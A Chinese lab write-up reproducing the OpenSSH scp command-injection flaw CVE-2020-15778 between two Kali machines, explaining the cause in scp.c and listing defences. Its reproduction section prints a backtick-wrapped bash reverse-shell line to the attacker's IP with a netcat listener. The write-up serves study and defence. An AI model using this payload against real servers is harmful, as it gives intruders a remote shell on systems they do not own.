[OpenSSH命令执行]CVE-2020-15778(漏洞复现)

 

实验环境:

  靶机:kali2021

  攻击机:kali2021

  VMware:vmware14

 

实验工具:

  OpenSSH

  SCP

     netcat

相关信息简单描述:

  SSH协议(安全外壳协议)
    Ssh是一种为了建立安全回话而生的一个协议,专为远程登录会话和其他网络服务提供安全性的协议

  OpenSsh

    OpenSSh是linux上的一个ssh协议的免费开源实现

  SCP
    SCP是OpenSSh的scp.c及其他相关代码实现,功能为 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令,相对于rcp,scp是加密的,命令格式如下
    scp Filename user@host:directory/Filename

漏洞条件: 

  OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。但是前提是真的ssh用户名密码。

  目标靶机OpenSSH 版本小于等于 8.3p1的版本均受影响

 

漏洞原理:

  OpenSSH的8.3p1中的scp允许

  使用scp复制文件到远程服务器
  时,在scp命令后面跟上文件的
  路径,这时scp会使用”-t”参数
  来获取存储传入文件的路径,问题就出在这个地方,也就是"scp.c"文件的991行,如图。这个地方未对传入的文件路径进行检测防护。攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时,payload将会发送到远程服务器并执行。

 

漏洞复现:

  首先确认靶机存在漏洞

  NetCat监听端口6666

  

 

 

   攻击机执行SCP命令

  

  `bash -i >& /dev/tcp/192.168.83.138/6666 0>&1`

  linux 反引号表示当做命令执行

  /dev/tcp是一个特殊文件 打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

  >&  是管道符 表示重定向标准输出

  0>&1 表示标准输入重定向到标准输出

 

   反弹成功

  

 

   成功反弹shell

   至此我们已经通过NC远程控制目标机器

防御手段:

  升级OpenSSH版本到最新版:

    openssh 升级版本大于8.3p1

  禁用SCP命令:

    删除本地SCP命令

  定时更换ssh登录密码

    通过命令 passwd命令修改登录密码

posted @ 2021-03-16 10:03  一只萌萌的鱼  阅读(313)  评论(0编辑  收藏  举报